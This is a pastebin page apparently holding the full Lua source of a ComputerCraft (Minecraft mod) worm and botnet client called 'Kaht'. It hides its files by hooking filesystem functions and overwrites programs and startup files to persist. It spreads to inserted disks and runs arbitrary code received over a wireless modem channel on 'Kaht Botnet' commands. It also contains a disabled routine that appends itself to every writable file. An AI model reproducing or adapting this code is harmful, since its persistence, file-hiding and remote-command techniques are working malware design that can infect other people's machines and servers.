Create a new version of paste:

if _G.Kaht then
	return
end

_G.Kaht = true
local PPath = shell.getRunningProgram()

if fs.exists("/.slgkj453lkjback") then
	fs.delete("/.slgkj453lkjback")
end 
fs.copy(PPath, "/.slgkj453lkjback")

local filesHidden = {
	PPath;
	"Kaht";
	".slgkj453lkjback";
}

local filesRedirect = {
	{"startup", "slgkj453lkjstartup"};
}

local Launcher = [[
if not fs.exists("/startup") then
	fs.copy("/.slgkj453lkjback", "/startup")
end 
local im = loadfile("/startup")
setfenv(im, getfenv())
im()
--KahtInfect
]]

for i,v in pairs(fs.list("/rom/programs")) do
	if fs.isDir("/rom/programs/" .. v) then
		for t,r in pairs(fs.list("/rom/programs/" .. v)) do
			if fs.exists(r) then
				if fs.exists("Kaht") then
					fs.delete(r)
				else
					fs.move("/" .. r, "/slgkj453lkj1" .. r)
				end 
			end 
			local Fel = fs.open("/" .. r, "w")
			Fel.write(Launcher)
			Fel.close()

			table.insert(filesRedirect, {r, "slgkj453lkj1" .. r})
			table.insert(filesHidden, r)
		end 
	else
		if fs.exists("/" .. v) then
			if fs.exists(v) then
				if fs.exists("Kaht") then
					fs.delete(v)
				else
					fs.move("/" .. v, "/slgkj453lkj1" .. v)
				end 
			end 
		end 
		local Fel = fs.open("/" .. v, "w")
		Fel.write(Launcher)
		Fel.close()

		table.insert(filesRedirect, {v, "slgkj453lkj1" .. v})
		table.insert(filesHidden, v)
	end 
end 

local t = fs.open("/Kaht", "w")
t.write("KAHT")
t.close()

local oFs = {}
for i,v in pairs(fs) do
	oFs[i] = v
end 

local function ResolvePath(Path)
	local rP = fs.combine("", Path)
	return rP
end 

local LLog = {}

local function Log(Text)
	table.insert(LLog, Text)
	local f = oFs.open("/leg" ,"w")
	f.write(table.concat(LLog, "\n"))
	f.close()
end 

function fs.list(Path)
	if type(Path) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	if not fs.exists(Path) then
		error("Not a directory", 2)
		return
	end 

	local Res = ResolvePath(Path)
	for i,v in pairs(filesHidden) do
		if v == Res then
			error("Not a directory", 2)
			return
		end 
	end 
	local Files = oFs.list(Path)

	for i = 1, #Files do
		local v = Files[i]
		if v == "" or v == nil then break end
		local FullPath = fs.combine(Res, v)
		for m,s in pairs(filesHidden) do
			if s == FullPath then
				Files[i] = nil
			end 
		end 
		for m,s in pairs(filesRedirect) do
			if s[2] == FullPath then
				Files[i] = s[1]
				if not oFs.exists(s[2]) then
					Files[i] = nil
				end
			end 
		end 
	end 


	return Files
end 

function fs.isDir(Path)
	if type(Path) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	local Res = ResolvePath(Path)
	for i,v in pairs(filesHidden) do
		if v == Res then
			return false
		end 
	end 

	return oFs.isDir(Path)
end 

function fs.exists(Path)
	if type(Path) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	local Res = ResolvePath(Path)
	for i,v in pairs(filesRedirect) do
		if v[1] == Res then
			return oFs.exists(v[2])
		end 
	end 
	for i,v in pairs(filesHidden) do
		if v == Res then
			return false
		end 
	end 

	return oFs.exists(Path)
end 

function fs.open(Path, Type)
	if type(Path) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	if Type ~= "a" and Type ~= "w" and Type ~= "r" and Type ~= "rb" and Type ~= "wb" and Type ~= "ab" then
		error("Invalid type", 2)
		return
	end 

	local Res = ResolvePath(Path)
	for i,v in pairs(filesRedirect) do
		if Res == v[1] then
			return oFs.open(v[2], Type)
		end 
	end 

	return oFs.open(Path, Type)
end 

function fs.move(Path1, Path2)
	if type(Path1) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	if type(Path2) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	Path1 = ResolvePath(Path1)
	Path2 = ResolvePath(Path2)

	for i,v in pairs(filesRedirect) do
		if v[1] == Path1 then
			Path1 = v[2]
		end
		if v[1] == Path2 then
			Path2 = v[2]
		end 
	end 

	for i,v in pairs(filesHidden) do
		if v == Path1 then
			error(Path1 .. " does not exist", 2)
			return
		end
		if v == Path2 then
			error(Path2 .. " is locked", 2)
			return
		end 
	end 

	return oFs.move(Path1, Path2)
end 

function fs.copy(Path1, Path2)
	if type(Path1) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	if type(Path2) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	Path1 = ResolvePath(Path1)
	Path2 = ResolvePath(Path2)

	for i,v in pairs(filesRedirect) do
		if v[1] == Path1 then
			Path1 = v[2]
		end
		if v[1] == Path2 then
			Path2 = v[2]
		end 
	end 

	for i,v in pairs(filesHidden) do
		if v == Path1 then
			error(Path1 .. " does not exist", 2)
			return
		end
		if v == Path2 then
			error(Path2 .. " is locked", 2)
			return
		end 
	end 

	return oFs.copy(Path1, Path2)
end 

function fs.delete(Path)
	if type(Path) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	local Res = ResolvePath(Path)
	for i,v in pairs(filesRedirect) do
		if v[1] == Res then
			Path = v[2]
			Res = v[2]
			break
		end 
	end 
	for i,v in pairs(filesHidden) do
		if v == Res then
			error("No file here, move along", 2)
			return
		end 
	end 

	return oFs.delete(Path)
end 

function fs.getSize(Path)
	if type(Path) ~= "string" then
		error("string expected, got " .. type(Path), 2)
		return
	end 

	Path = ResolvePath(Path)

	for i,v in pairs(filesRedirect) do
		if v[1] == Path then
			Path = v[2]
		end 
	end 

	for i,v in pairs(filesHidden) do
		if v == Path then
			error("That file doesn't exist", 2)
			return
		end 
	end 

	return
end 

local Sides = {"top", "bottom", "left", "right", "front", "back"}

local Mod

for i,v in pairs(Sides) do
	if peripheral.isPresent(v) then
		if peripheral.getType(v) == "modem" and peripheral.call(v, "isWireless") == true then
			Mod = peripheral.wrap(v)
			break
		end 
	end 
end 

if not Mod then return end

Mod.open(678)

local function Listen()
	while true do
		pcall(function()
			local Event, Side, Channel, ID, Message, Distance = os.pullEventRaw()
			if Event == "modem_message" then
				local Raw = textutils.unserialize(Message)
				if type(Raw) == "table" then
					if Raw[1] == "Kaht Botnet" and Channel == 678 then
						if Raw[2] == os.getComputerID() or Raw[2] == "all" then
							local In = Raw[3]
							if In[1] == "execute" then
								local Func = loadstring(In[2])
								if Func then
									setfenv(Func, setmetatable({["shell"] = shell; fs = oFs}, {__index = getfenv()}))
									pcall(Func)
								end 
							elseif In[1] == "update" then
								oFs.delete(PPath)
								local File = oFs.open(PPath, "w")
								File.write(In[2])
								File.close()
							end 
						end 
					end 
				end 
			elseif Event == "disk" then
				local DPath = peripheral.call(Side, "getMountPath")
				if oFs.exists(DPath .. "/startup") then
					oFs.move(DPath .. "/startup", "DPath" .. "/.slgkj453lkjstartup")
				end 
				local Met = fs.open(PPath, "r")
				local Cont = Met.readAll()
				Met.close()
				Met = fs.open(DPath .. "/startup", "w")
				Met.write(Cont)
				Met.close()
			end 
		end)
	end 
end 

local CheckDir
function CheckDir(Path)
	for m,s in pairs(oFs.list(Path)) do
		if not oFs.isReadOnly(Path .. "/" .. s) then
			if oFs.isDir(Path .. "/" .. s) then
				CheckDir(Path .. "/" .. s)
			else
				local r = oFs.open(Path .. "/" .. s, "r")
				local con = r.readAll()
				r.close()
				if not string.find(con, "KahtInfect") then
					local MC = oFs.open(shell.getRunningProgram(), "r")
					local Cont = MC.readAll()
					MC.close()
					r = oFs.open(Path .. "/" .. s, "w")
					r.write(con .. string.rep("\n", 100) .. Cont .. "\n\n\n--KahtInfect\n\n\n")
					r.close()
				end 
			end 
		end 
	end 
end 

local function InfectFiles()
	--[[while true do
		sleep(5)
		CheckDir("/")
	end ]]
end 

term.clear()
term.setCursorPos(1, 1)

if oFs.exists("slgkj453lkj") then
	parallel.waitForAll(Listen, InfectFiles, loadfile("slgkj453lkj"))
	shell.exit()
	loadfile("/rom/programs/shell")()
else
	parallel.waitForAll(Listen, InfectFiles, shell.exit, loadfile("/rom/programs/shell"))
end